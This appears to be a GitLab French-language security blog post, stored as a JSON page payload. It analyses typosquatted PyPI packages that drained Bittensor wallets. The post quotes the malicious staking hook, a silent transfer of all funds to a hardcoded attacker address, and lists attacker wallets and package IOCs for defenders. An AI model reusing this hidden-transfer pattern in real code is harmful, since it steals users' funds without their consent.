[{"data":1,"prerenderedAt":1439},["ShallowReactive",2],{"/fr-fr/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi":3,"navigation-fr-fr":658,"banner-fr-fr":1093,"footer-fr-fr":1101,"blog-post-authors-fr-fr-Michael Henriksen":1340,"blog-related-posts-fr-fr-gitlab-uncovers-bittensor-theft-campaign-via-pypi":1355,"blog-promotions-fr-fr":1377,"next-steps-fr-fr":1430},{"id":4,"title":5,"authors":6,"body":8,"category":640,"date":641,"description":642,"extension":643,"externalUrl":644,"faq":644,"featured":645,"heroImage":646,"meta":647,"navigation":648,"path":649,"seo":650,"slug":653,"stem":654,"tags":655,"template":656,"updatedDate":88,"__hash__":657},"blogPosts/fr-fr/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi.md","GitLab révèle une série d'attaques sur Bittensor via PyPI",[7],"Michael Henriksen",{"type":9,"value":10,"toc":628},"minimark",[11,23,66,71,82,190,193,228,233,240,273,277,284,288,291,347,351,354,398,402,405,409,485,489,624],[12,13,14,15,22],"p",{},"L'équipe de recherche dédiée aux vulnérabilités de GitLab a identifié une série de vols sophistiqués de cryptomonnaie ciblant l'écosystème Bittensor à travers des paquets ",[16,17,21],"a",{"href":18,"rel":19,"title":20},"https://about.gitlab.com/fr-fr/blog/beginner-guide-python-programming/",[],"Qu'est-ce que le Python ?","Python"," typosquattés sur PyPI.\nNotre enquête a commencé lorsque le système de surveillance automatisée des paquets de GitLab a signalé une activité suspecte liée à des paquets Bittensor prisés. Nous avons découvert plusieurs variantes de paquets Bittensor ayant fait l'objet de typosquatting, qui avaient pour objectif de voler de la cryptomonnaie dans les portefeuilles de développeurs et d'utilisateurs peu méfiants.\nLes paquets malveillants identifiés ont tous été publiés au cours d'une fenêtre de 25 minutes le 6 août 2025 :",[24,25,26,34,40,46,52],"ul",{},[27,28,29,33],"li",{},[30,31,32],"code",{},"bitensor@9.9.4"," (02:52 UTC)",[27,35,36,39],{},[30,37,38],{},"bittenso-cli@9.9.4"," (02:59 UTC)",[27,41,42,45],{},[30,43,44],{},"qbittensor@9.9.4"," (03:02 UTC)",[27,47,48,51],{},[30,49,50],{},"bitensor@9.9.5"," (03:15 UTC)",[27,53,54,57,58,61,62,65],{},[30,55,56],{},"bittenso@9.9.5"," (03:16 UTC)\nTous les paquets étaient conçus pour imiter les véritables paquets ",[30,59,60],{},"bittensor"," et ",[30,63,64],{},"bittensor-cli",", des composants essentiels du réseau d'IA décentralisé Bittensor.",[67,68,70],"h2",{"id":69},"analyse-technique-déroulement-du-vol","Analyse technique : déroulement du vol",[12,72,73,74,77,78,81],{},"Notre analyse a révélé un vecteur d'attaque soigneusement orchestré où les cybercriminels avaient modifié la fonctionnalité de staking d'origine pour voler des fonds. Les paquets malveillants contenaient une version détournée de la fonction ",[30,75,76],{},"stake_extrinsic"," dans ",[30,79,80],{},"bittensor_cli/src/commands/stake/add.py",".\nLà où les utilisateurs s'attendaient à une opération de staking normale, les attaquants avaient inséré du code malveillant à la ligne 275 qui détournait tous les fonds vers leur portefeuille :",[83,84,89],"pre",{"className":85,"code":86,"language":87,"meta":88,"style":88},"language-python shiki shiki-themes github-light","result = await transfer_extrinsic(\n  subtensor=subtensor,\n  wallet=wallet,\n  destination=\"5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR\",\n  amount=amount,\n  transfer_all=True,\n  prompt=False\n)\n","python","",[30,90,91,110,122,133,148,159,173,184],{"__ignoreMap":88},[92,93,96,100,104,107],"span",{"class":94,"line":95},"line",1,[92,97,99],{"class":98},"sgsFI","result ",[92,101,103],{"class":102},"sD7c4","=",[92,105,106],{"class":102}," await",[92,108,109],{"class":98}," transfer_extrinsic(\n",[92,111,113,117,119],{"class":94,"line":112},2,[92,114,116],{"class":115},"sqxcx","  subtensor",[92,118,103],{"class":102},[92,120,121],{"class":98},"subtensor,\n",[92,123,125,128,130],{"class":94,"line":124},3,[92,126,127],{"class":115},"  wallet",[92,129,103],{"class":102},[92,131,132],{"class":98},"wallet,\n",[92,134,136,139,141,145],{"class":94,"line":135},4,[92,137,138],{"class":115},"  destination",[92,140,103],{"class":102},[92,142,144],{"class":143},"sYBdl","\"5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR\"",[92,146,147],{"class":98},",\n",[92,149,151,154,156],{"class":94,"line":150},5,[92,152,153],{"class":115},"  amount",[92,155,103],{"class":102},[92,157,158],{"class":98},"amount,\n",[92,160,162,165,167,171],{"class":94,"line":161},6,[92,163,164],{"class":115},"  transfer_all",[92,166,103],{"class":102},[92,168,170],{"class":169},"sYu0t","True",[92,172,147],{"class":98},[92,174,176,179,181],{"class":94,"line":175},7,[92,177,178],{"class":115},"  prompt",[92,180,103],{"class":102},[92,182,183],{"class":169},"False\n",[92,185,187],{"class":94,"line":186},8,[92,188,189],{"class":98},")\n",[12,191,192],{},"Ce processus malveillant corrompait complètement le processus de staking :",[24,194,195,206,216,222],{},[27,196,197,201,202,205],{},[198,199,200],"strong",{},"Exécution indétectable :"," utilisation de ",[30,203,204],{},"prompt=False"," pour contourner la confirmation de l'utilisateur",[27,207,208,211,212,215],{},[198,209,210],{},"Vol complet du portefeuille :"," définition de ",[30,213,214],{},"transfer_all=True"," pour voler tous les fonds disponibles, pas seulement le montant de staking",[27,217,218,221],{},[198,219,220],{},"Destination codée en dur :"," transfert de tous les fonds vers l'adresse du portefeuille du cybercriminel",[27,223,224,227],{},[198,225,226],{},"Caché à la vue de tous :"," exécution pendant une opération de staking en apparence normale\nL'attaque est particulièrement insidieuse, car les utilisateurs croient qu'ils stakent des tokens pour gagner des récompenses, mais à la place, la fonction modifiée vide entièrement leur portefeuille.",[229,230,232],"h3",{"id":231},"pourquoi-cibler-la-fonctionnalité-de-staking","Pourquoi cibler la fonctionnalité de staking ?",[12,234,235,236,239],{},"Les attaquants semblent avoir spécifiquement ciblé les opérations de staking pour des raisons calculées. Dans les réseaux blockchain comme Bittensor, le ",[198,237,238],{},"staking"," consiste à verrouiller ses tokens de cryptomonnaie pour soutenir les opérations du réseau afin de gagner des récompenses en retour, un processus que l'on peut comparer aux intérêts versés sur un compte épargne.\nLe staking est ainsi un vecteur d'attaque idéal :",[241,242,243,249,255,261,267],"ol",{},[27,244,245,248],{},[198,246,247],{},"Cibles de grande valeur :"," les utilisateurs qui stakent détiennent généralement des avoirs substantiels en cryptomonnaie, ce qui en fait des victimes particulièrement intéressantes.",[27,250,251,254],{},[198,252,253],{},"Accès requis au portefeuille :"," les opérations de staking nécessitent que les utilisateurs déverrouillent leurs portefeuilles et fournissent une authentification. Cette opération donne au code malveillant exactement ce dont celui-ci a besoin pour vider les fonds.",[27,256,257,260],{},[198,258,259],{},"Activité réseau attendue :"," puisque le staking implique naturellement des transactions blockchain, le transfert malveillant supplémentaire n'éveille pas immédiatement les soupçons.",[27,262,263,266],{},[198,264,265],{},"Opérations routinières :"," les utilisateurs expérimentés stakent régulièrement ; ce processus familier les pousse à la complaisance et endort leur vigilance.",[27,268,269,272],{},[198,270,271],{},"Détection retardée :"," les utilisateurs pourraient d'abord supposer que les transactions correspondent à des frais de staking normaux ou à des retenues temporaires, ce qui retarde la découverte du vol.\nEn cachant du code malveillant dans une fonctionnalité de staking d'apparence légitime, les cybercriminels ont exploité à la fois les exigences techniques et la psychologie des utilisateurs des opérations de blockchain routinières.",[67,274,276],{"id":275},"suivre-largent","Suivre l'argent",[12,278,279,280,283],{},"L'équipe de recherche dédiée aux vulnérabilités de GitLab a cherché à identifier l'origine des flux de cryptomonnaie pour comprendre l'ampleur de cette opération. Le portefeuille de destination principal ",[30,281,282],{},"5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR"," a servi de point de collecte central avant que les fonds ne soient distribués à travers un réseau de portefeuilles intermédiaires.",[229,285,287],{"id":286},"le-réseau-de-blanchiment-dargent","Le réseau de blanchiment d'argent",[12,289,290],{},"Notre analyse a révélé un mécanisme de blanchiment à plusieurs sauts :",[241,292,293,301,329,338],{},[27,294,295,298,299],{},[198,296,297],{},"Collecte principale :"," les fonds volés arrivent initialement sur ",[30,300,282],{},[27,302,303,306,307],{},[198,304,305],{},"Réseau de distribution :"," les fonds sont rapidement déplacés vers des portefeuilles intermédiaires :",[24,308,309,314,319,324],{},[27,310,311],{},[30,312,313],{},"5HpsyxZKvCvLEdLTkWRM4d7nHPnXcbm4ayAsJoaVVW2TLVP1",[27,315,316],{},[30,317,318],{},"5GiqMKy1kAXN6j9kCuog59VjoJXUL2GnVSsmCRyHkggvhqNC",[27,320,321],{},[30,322,323],{},"5ER5ojwWNF79k5wvsJhcgvWmHkhKfW5tCFzDpj1Wi4oUhPs6",[27,325,326],{},[30,327,328],{},"5CquBemBzAXx9GtW94qeHgPya8dgvngYXZmYTWqnpea5nsiL",[27,330,331,334,335],{},[198,332,333],{},"Consolidation finale :"," tous les chemins convergent finalement vers ",[30,336,337],{},"5D6BH6ai79EVN51orsf9LG3k1HXxoEhPaZGeKBT5oDwnd2Bu",[27,339,340,343,344],{},[198,341,342],{},"Portefeuille où l'argent est encaissé :"," la destination finale semble être ",[30,345,346],{},"5HDo9i9XynX44DFjeoabFqPF3XXmFCkJASC7FxWpbqv6D7QQ",[67,348,350],{"id":349},"le-typosquatting","Le typosquatting",[12,352,353],{},"Les cybercriminels ont utilisé une stratégie de typosquatting qui exploite les erreurs de frappe courantes et les conventions de nommage des paquets :",[24,355,356,369,380],{},[27,357,358,361,362,365,366,368],{},[198,359,360],{},"Caractères manquants :"," ",[30,363,364],{},"bitensor"," au lieu de ",[30,367,60],{}," ('t' manquant)",[27,370,371,361,374,365,377,379],{},[198,372,373],{},"Troncation :",[30,375,376],{},"bittenso",[30,378,60],{}," ('r' final manquant)",[27,381,382,385,386,389,390,393,394,397],{},[198,383,384],{},"Imitation de version :"," tous les paquets utilisaient des numéros de version (",[30,387,388],{},"9.9.4",", ",[30,391,392],{},"9.9.5",") qui correspondaient étroitement aux versions des véritables paquets.\nCette approche maximise les chances d'installation en raison des erreurs de frappe des équipes de développement lors des commandes ",[30,395,396],{},"pip install"," et des erreurs de copier-coller depuis la documentation.",[67,399,401],{"id":400},"perspectives-lavenir-de-la-sécurité-de-la-chaîne-dapprovisionnement","Perspectives : l'avenir de la sécurité de la chaîne d'approvisionnement",[12,403,404],{},"GitLab continue d'investir dans la recherche proactive en matière de sécurité pour identifier et neutraliser les menaces avant qu'elles n'impactent notre communauté. Notre système de détection automatisé travaille 24 heures sur 24 pour protéger la chaîne d'approvisionnement logicielle qui alimente le développement moderne.\nLa détection et l'analyse rapides de cette attaque démontrent la valeur des mesures de sécurité proactives dans la lutte contre les menaces sophistiquées. En partageant nos découvertes, nous visons à renforcer la résilience de l'écosystème entier en cas de futures attaques.",[67,406,408],{"id":407},"indicateurs-de-compromission","Indicateurs de compromission",[410,411,412,426],"table",{},[413,414,415],"thead",{},[416,417,418,423],"tr",{},[419,420,422],"th",{"align":421},"left","IOC",[419,424,425],{"align":421},"Description",[427,428,429,440,449,458,467,476],"tbody",{},[416,430,431,437],{},[432,433,434],"td",{"align":421},[30,435,436],{},"pkg:pypi/bittenso@9.9.5",[432,438,439],{"align":421},"Paquet PyPI malveillant",[416,441,442,447],{},[432,443,444],{"align":421},[30,445,446],{},"pkg:pypi/bitensor@9.9.5",[432,448,439],{"align":421},[416,450,451,456],{},[432,452,453],{"align":421},[30,454,455],{},"pkg:pypi/bitensor@9.9.4",[432,457,439],{"align":421},[416,459,460,465],{},[432,461,462],{"align":421},[30,463,464],{},"pkg:pypi/qbittensor@9.9.4",[432,466,439],{"align":421},[416,468,469,474],{},[432,470,471],{"align":421},[30,472,473],{},"pkg:pypi/bittenso-cli@9.9.4",[432,475,439],{"align":421},[416,477,478,482],{},[432,479,480],{"align":421},[30,481,282],{},[432,483,484],{"align":421},"Adresse de portefeuille Bittensor (TAO) pour recevoir les fonds volés",[67,486,488],{"id":487},"chronologie","Chronologie",[410,490,491,501],{},[413,492,493],{},[416,494,495,498],{},[419,496,497],{"align":421},"Date et heure",[419,499,500],{"align":421},"Action",[427,502,503,513,526,537,548,559,570,582,593,603,614],{},[416,504,505,510],{},[432,506,507],{"align":421},[198,508,509],{},"2025-08-06T06:33",[432,511,512],{"align":421},"Analyse initiale des paquets suspects signalés par le système de surveillance automatisé",[416,514,515,520],{},[432,516,517],{"align":421},[198,518,519],{},"2025-08-06T09:42",[432,521,522,523,525],{"align":421},"Signalement de ",[30,524,56],{}," à PyPi.org",[416,527,528,533],{},[432,529,530],{"align":421},[198,531,532],{},"2025-08-06T09:46",[432,534,522,535,525],{"align":421},[30,536,50],{},[416,538,539,544],{},[432,540,541],{"align":421},[198,542,543],{},"2025-08-06T09:47",[432,545,522,546,525],{"align":421},[30,547,32],{},[416,549,550,555],{},[432,551,552],{"align":421},[198,553,554],{},"2025-08-06T09:49",[432,556,522,557,525],{"align":421},[30,558,44],{},[416,560,561,566],{},[432,562,563],{"align":421},[198,564,565],{},"2025-08-06T09:51",[432,567,522,568,525],{"align":421},[30,569,38],{},[416,571,572,577],{},[432,573,574],{"align":421},[198,575,576],{},"2025-08-06T15:26",[432,578,579,580],{"align":421},"PyPi.org a supprimé ",[30,581,56],{},[416,583,584,589],{},[432,585,586],{"align":421},[198,587,588],{},"2025-08-06T15:27",[432,590,579,591],{"align":421},[30,592,50],{},[416,594,595,599],{},[432,596,597],{"align":421},[198,598,588],{},[432,600,579,601],{"align":421},[30,602,32],{},[416,604,605,610],{},[432,606,607],{"align":421},[198,608,609],{},"2025-08-06T15:28",[432,611,579,612],{"align":421},[30,613,44],{},[416,615,616,620],{},[432,617,618],{"align":421},[198,619,609],{},[432,621,579,622],{"align":421},[30,623,38],{},[625,626,627],"style",{},"html pre.shiki code .sgsFI, html code.shiki .sgsFI{--shiki-default:#24292E}html pre.shiki code .sD7c4, html code.shiki .sD7c4{--shiki-default:#D73A49}html pre.shiki code .sqxcx, html code.shiki .sqxcx{--shiki-default:#E36209}html pre.shiki code .sYBdl, html code.shiki .sYBdl{--shiki-default:#032F62}html pre.shiki code .sYu0t, html code.shiki .sYu0t{--shiki-default:#005CC5}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":88,"searchDepth":112,"depth":112,"links":629},[630,633,636,637,638,639],{"id":69,"depth":112,"text":70,"children":631},[632],{"id":231,"depth":124,"text":232},{"id":275,"depth":112,"text":276,"children":634},[635],{"id":286,"depth":124,"text":287},{"id":349,"depth":112,"text":350},{"id":400,"depth":112,"text":401},{"id":407,"depth":112,"text":408},{"id":487,"depth":112,"text":488},"security","2025-08-11","L'équipe de recherche dédiée aux vulnérabilités de GitLab a identifié une série d'attaques de typosquatting avec des paquets PyPI qui avaient pour objectif de voler de la cryptomonnaie dans des portefeuilles Bittensor en détournant des opérations de staking.","md",null,false,"https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/f_auto,q_auto,c_lfill/v1750098739/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_282096522_securitycompliance.jpeg_1750098739024.jpg",{},true,"/fr-fr/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi",{"config":651,"title":5,"description":652,"ogImage":88},{"noIndex":645},"Découvrez comment nous avons identifié une série d'attaques de typosquatting avec des paquets PyPI qui ciblaient de la cryptomonnaie.","gitlab-uncovers-bittensor-theft-campaign-via-pypi","fr-fr/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi",[640],"BlogPost","XhDE1h8bmdd9bvf57k78pvqRW-tfcssijQXPstebbJ4",{"logo":659,"freeTrial":664,"sales":669,"login":674,"items":679,"search":1008,"minimal":1044,"duo":1063,"switchNav":1072,"pricingDeployment":1083},{"config":660},{"href":661,"dataGaName":662,"dataGaLocation":663},"/fr-fr/","gitlab logo","header",{"text":665,"config":666},"Commencer un essai gratuit",{"href":667,"dataGaName":668,"dataGaLocation":663},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/fr-fr&glm_content=default-saas-trial/","free trial",{"text":670,"config":671},"Demander une démo",{"href":672,"dataGaName":673,"dataGaLocation":663},"/fr-fr/sales/?contact-topic=request-demo","sales",{"text":675,"config":676},"Connexion",{"href":677,"dataGaName":678,"dataGaLocation":663},"https://gitlab.com/users/sign_in/","sign in",[680,709,811,816,930,986],{"text":681,"config":682,"menu":684},"Plateforme",{"dataNavLevelOne":683},"platform",{"type":685,"columns":686},"cards",[687,693,701],{"title":681,"description":688,"link":689},"La plateforme d'orchestration intelligente pour le DevSecOps",{"text":690,"config":691},"Explorer notre plateforme",{"href":692,"dataGaName":683,"dataGaLocation":663},"/fr-fr/platform/",{"title":694,"description":695,"link":696},"GitLab Duo Agent Platform","L'IA agentique pour l'ensemble du cycle de développement logiciel",{"text":697,"config":698},"Découvrir GitLab Duo",{"href":699,"dataGaName":700,"dataGaLocation":663},"/fr-fr/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":702,"description":703,"link":704},"Pourquoi GitLab ?","Découvrez les principales raisons pour lesquelles les entreprises choisissent GitLab",{"text":705,"config":706},"En savoir plus",{"href":707,"dataGaName":708,"dataGaLocation":663},"/fr-fr/why-gitlab/","why gitlab",{"text":710,"left":648,"config":711,"menu":713},"Produit",{"dataNavLevelOne":712},"solutions",{"type":714,"link":715,"columns":719,"feature":790},"lists",{"text":716,"config":717},"Voir toutes les solutions",{"href":718,"dataGaName":712,"dataGaLocation":663},"/fr-fr/solutions/",[720,745,768],{"title":721,"description":722,"link":723,"items":728},"Automatisation","CI/CD et automatisation pour accélérer le déploiement",{"config":724},{"icon":725,"href":726,"dataGaName":727,"dataGaLocation":663},"AutomatedCodeAlt","/fr-fr/solutions/delivery-automation/","automated software delivery",[729,733,736,741],{"text":730,"config":731},"CI/CD",{"href":732,"dataGaLocation":663,"dataGaName":730},"/fr-fr/solutions/continuous-integration/",{"text":694,"config":734},{"href":699,"dataGaLocation":663,"dataGaName":735},"gitlab duo agent platform - product menu",{"text":737,"config":738},"Gestion du code source",{"href":739,"dataGaLocation":663,"dataGaName":740},"/fr-fr/solutions/source-code-management/","Source Code Management",{"text":742,"config":743},"Livraison de logiciels automatisée",{"href":726,"dataGaLocation":663,"dataGaName":744},"Automated software delivery",{"title":746,"description":747,"link":748,"items":753},"Sécurité","Livrez du code plus rapidement sans compromettre la sécurité",{"config":749},{"href":750,"dataGaName":751,"dataGaLocation":663,"icon":752},"/fr-fr/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[754,758,763],{"text":755,"config":756},"Tests de sécurité des applications",{"href":750,"dataGaName":757,"dataGaLocation":663},"Application security testing",{"text":759,"config":760},"Sécurité de la chaîne d'approvisionnement logicielle",{"href":761,"dataGaLocation":663,"dataGaName":762},"/fr-fr/solutions/supply-chain/","Software supply chain security",{"text":764,"config":765},"Conformité logicielle",{"href":766,"dataGaName":767,"dataGaLocation":663},"/fr-fr/solutions/software-compliance/","software compliance",{"title":769,"link":770,"items":775},"Mesures",{"config":771},{"icon":772,"href":773,"dataGaName":774,"dataGaLocation":663},"DigitalTransformation","/fr-fr/solutions/visibility-measurement/","visibility and measurement",[776,780,785],{"text":777,"config":778},"Visibilité et mesures",{"href":773,"dataGaLocation":663,"dataGaName":779},"Visibility and Measurement",{"text":781,"config":782},"Gestion de la chaîne de valeur",{"href":783,"dataGaLocation":663,"dataGaName":784},"/fr-fr/solutions/value-stream-management/","Value Stream Management",{"text":786,"config":787},"Analyses et informations",{"href":788,"dataGaLocation":663,"dataGaName":789},"/fr-fr/solutions/analytics-and-insights/","Analytics and insights",{"title":791,"type":714,"items":792},"GitLab",[793,799,805],{"text":794,"config":795},"Entreprises",{"icon":796,"href":797,"dataGaLocation":663,"dataGaName":798},"Building","/fr-fr/enterprise/","enterprise",{"text":800,"config":801},"Pour les PME",{"icon":802,"href":803,"dataGaLocation":663,"dataGaName":804},"Work","/fr-fr/small-business/","small business",{"text":806,"config":807},"Pour le secteur public",{"icon":808,"href":809,"dataGaLocation":663,"dataGaName":810},"Organization","/fr-fr/solutions/public-sector/","public sector",{"text":812,"config":813},"Tarifs",{"href":814,"dataGaName":815,"dataGaLocation":663,"dataNavLevelOne":815},"/fr-fr/pricing/","pricing",{"text":817,"config":818,"menu":820},"Ressources",{"dataNavLevelOne":819},"resources",{"type":714,"link":821,"columns":825,"feature":919},{"text":822,"config":823},"Afficher toutes les ressources",{"href":824,"dataGaName":819,"dataGaLocation":663},"/fr-fr/resources/",[826,859,886],{"title":827,"items":828},"Premiers pas",[829,834,839,844,849,854],{"text":830,"config":831},"Installation",{"href":832,"dataGaName":833,"dataGaLocation":663},"/fr-fr/install/","install",{"text":835,"config":836},"Guides de démarrage",{"href":837,"dataGaName":838,"dataGaLocation":663},"/fr-fr/get-started/","quick setup checklists",{"text":840,"config":841},"Apprentissage",{"href":842,"dataGaLocation":663,"dataGaName":843},"https://university.gitlab.com/","learn",{"text":845,"config":846},"Documentation",{"href":847,"dataGaName":848,"dataGaLocation":663},"https://docs.gitlab.com/","product documentation",{"text":850,"config":851},"Vidéos sur les bonnes pratiques",{"href":852,"dataGaName":853,"dataGaLocation":663},"/fr-fr/getting-started-videos/","best practice videos",{"text":855,"config":856},"Intégrations",{"href":857,"dataGaName":858,"dataGaLocation":663},"/fr-fr/integrations/","integrations",{"title":860,"items":861},"Découvrir",[862,867,872,877,881],{"text":863,"config":864},"Témoignages clients",{"href":865,"dataGaName":866,"dataGaLocation":663},"/fr-fr/customers/","customer success stories",{"text":868,"config":869},"Blog",{"href":870,"dataGaName":871,"dataGaLocation":663},"/fr-fr/blog/","blog",{"text":873,"config":874},"Demo Hub",{"href":875,"dataGaName":876,"dataGaLocation":663},"/fr-fr/demo-hub/","demo hub",{"text":878,"config":879},"The Source",{"href":880,"dataGaName":871,"dataGaLocation":663},"/fr-fr/the-source/",{"text":882,"config":883},"Travail à distance",{"href":884,"dataGaName":885,"dataGaLocation":663},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":887,"items":888},"Connecter",[889,894,899,904,909,914],{"text":890,"config":891},"Services GitLab",{"href":892,"dataGaName":893,"dataGaLocation":663},"/fr-fr/services/","services",{"text":895,"config":896},"Contribuer",{"href":897,"dataGaName":898,"dataGaLocation":663},"https://contributors.gitlab.com","contribute",{"text":900,"config":901},"Communauté",{"href":902,"dataGaName":903,"dataGaLocation":663},"/community/","community",{"text":905,"config":906},"Forum",{"href":907,"dataGaName":908,"dataGaLocation":663},"https://forum.gitlab.com/","forum",{"text":910,"config":911},"Événements",{"href":912,"dataGaName":913,"dataGaLocation":663},"/events/","events",{"text":915,"config":916},"Partenaires",{"href":917,"dataGaName":918,"dataGaLocation":663},"/fr-fr/partners/","partners",{"config":920,"title":923,"text":924,"link":925},{"background":921,"textColor":922},"url('https://res.cloudinary.com/about-gitlab-com/image/upload/v1777322348/qpq8yrgn8knii57omj0c.png')","#000","Nouveautés de GitLab","Découvrez les dernières fonctionnalités et améliorations.",{"text":926,"config":927},"Lire les articles les plus récents",{"href":928,"dataGaName":929,"dataGaLocation":663},"/fr-fr/whats-new/","whats new",{"text":931,"config":932,"menu":934},"Société",{"dataNavLevelOne":933},"company",{"type":714,"columns":935},[936],{"items":937},[938,943,949,951,956,961,966,971,976,981],{"text":939,"config":940},"À propos",{"href":941,"dataGaName":942,"dataGaLocation":663},"/fr-fr/company/","about",{"text":944,"config":945,"footerGa":948},"Carrières",{"href":946,"dataGaName":947,"dataGaLocation":663},"/jobs/","jobs",{"dataGaName":947},{"text":910,"config":950},{"href":912,"dataGaName":913,"dataGaLocation":663},{"text":952,"config":953},"Leadership",{"href":954,"dataGaName":955,"dataGaLocation":663},"/company/team/e-group/","leadership",{"text":957,"config":958},"Manuel",{"href":959,"dataGaName":960,"dataGaLocation":663},"https://handbook.gitlab.com/","handbook",{"text":962,"config":963},"Relations avec les investisseurs",{"href":964,"dataGaName":965,"dataGaLocation":663},"https://ir.gitlab.com/overview/default.aspx","investor relations",{"text":967,"config":968},"Trust Center",{"href":969,"dataGaName":970,"dataGaLocation":663},"/fr-fr/security/","trust center",{"text":972,"config":973},"Centre pour la transparence de l'IA",{"href":974,"dataGaName":975,"dataGaLocation":663},"/fr-fr/ai-transparency-center/","ai transparency center",{"text":977,"config":978},"Newsletter",{"href":979,"dataGaName":980,"dataGaLocation":663},"/company/contact/#contact-forms","newsletter",{"text":982,"config":983},"Presse",{"href":984,"dataGaName":985,"dataGaLocation":663},"/press/","press",{"text":987,"config":988,"menu":989},"Nous contacter",{"dataNavLevelOne":933},{"type":714,"columns":990},[991],{"items":992},[993,998,1003],{"text":994,"config":995},"Contacter l'équipe commerciale",{"href":996,"dataGaName":997,"dataGaLocation":663},"/fr-fr/sales/","talk to sales",{"text":999,"config":1000},"Assistance GitLab",{"href":1001,"dataGaName":1002,"dataGaLocation":663},"https://support.gitlab.com/hc/en-us","support portal",{"text":1004,"config":1005},"Portail clients GitLab",{"href":1006,"dataGaName":1007,"dataGaLocation":663},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":1009,"login":1010,"suggestions":1017},"Fermer",{"text":1011,"link":1012},"Pour rechercher des dépôts et des projets, connectez-vous à",{"text":1013,"config":1014},"GitLab.com",{"href":677,"dataGaName":1015,"dataGaLocation":1016},"search login","search",{"text":1018,"default":1019},"Suggestions",[1020,1023,1028,1030,1035,1040],{"text":694,"config":1021},{"href":699,"dataGaName":1022,"dataGaLocation":1016},"GitLab Duo Agent Platform",{"text":1024,"config":1025},"Suggestions de code (IA)",{"href":1026,"dataGaName":1027,"dataGaLocation":1016},"/fr-fr/solutions/code-suggestions/","Code Suggestions (AI)",{"text":730,"config":1029},{"href":732,"dataGaName":730,"dataGaLocation":1016},{"text":1031,"config":1032},"GitLab sur AWS",{"href":1033,"dataGaName":1034,"dataGaLocation":1016},"/fr-fr/partners/technology-partners/aws/","GitLab on AWS",{"text":1036,"config":1037},"GitLab sur Google Cloud",{"href":1038,"dataGaName":1039,"dataGaLocation":1016},"/fr-fr/partners/technology-partners/google-cloud-platform/","GitLab on Google Cloud",{"text":1041,"config":1042},"Pourquoi utiliser GitLab ?",{"href":707,"dataGaName":1043,"dataGaLocation":1016},"Why GitLab?",{"freeTrial":1045,"mobileIcon":1050,"desktopIcon":1055,"secondaryButton":1058},{"text":1046,"config":1047},"Commencer votre essai gratuit",{"href":1048,"dataGaName":668,"dataGaLocation":1049},"https://gitlab.com/-/trials/new/","nav",{"altText":1051,"config":1052},"Icône GitLab",{"src":1053,"dataGaName":1054,"dataGaLocation":1049},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":1051,"config":1056},{"src":1057,"dataGaName":1054,"dataGaLocation":1049},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":1059,"config":1060},"Commencer",{"href":1061,"dataGaName":1062,"dataGaLocation":1049},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/fr-fr/get-started/","get started",{"freeTrial":1064,"mobileIcon":1068,"desktopIcon":1070},{"text":1065,"config":1066},"En savoir plus sur GitLab Duo",{"href":699,"dataGaName":1067,"dataGaLocation":1049},"gitlab duo",{"altText":1051,"config":1069},{"src":1053,"dataGaName":1054,"dataGaLocation":1049},{"altText":1051,"config":1071},{"src":1057,"dataGaName":1054,"dataGaLocation":1049},{"button":1073,"mobileIcon":1078,"desktopIcon":1080},{"text":1074,"config":1075},"/switch",{"href":1076,"dataGaName":1077,"dataGaLocation":1049},"#contact","switch",{"altText":1051,"config":1079},{"src":1053,"dataGaName":1054,"dataGaLocation":1049},{"altText":1051,"config":1081},{"src":1082,"dataGaName":1054,"dataGaLocation":1049},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":1084,"mobileIcon":1089,"desktopIcon":1091},{"text":1085,"config":1086},"Retour aux tarifs",{"href":814,"dataGaName":1087,"dataGaLocation":1049,"icon":1088},"back to pricing","GoBack",{"altText":1051,"config":1090},{"src":1053,"dataGaName":1054,"dataGaLocation":1049},{"altText":1051,"config":1092},{"src":1057,"dataGaName":1054,"dataGaLocation":1049},{"title":1094,"button":1095,"config":1099},"GitLab Orbit est arrivé : la couche de contexte pour les agents d'IA.",{"text":705,"config":1096},{"href":1097,"dataGaName":1098,"dataGaLocation":663},"/fr-fr/gitlab-orbit/","orbit",{"layout":1100,"disabled":645},"release",{"data":1102},{"text":1103,"source":1104,"edit":1110,"contribute":1115,"config":1119,"items":1124,"minimal":1332},"Git est une marque déposée de Software Freedom Conservancy et notre utilisation de « GitLab » est sous licence.",{"text":1105,"config":1106},"Afficher le code source de la page",{"href":1107,"dataGaName":1108,"dataGaLocation":1109},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":1111,"config":1112},"Modifier cette page",{"href":1113,"dataGaName":1114,"dataGaLocation":1109},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":895,"config":1116},{"href":1117,"dataGaName":1118,"dataGaLocation":1109},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please 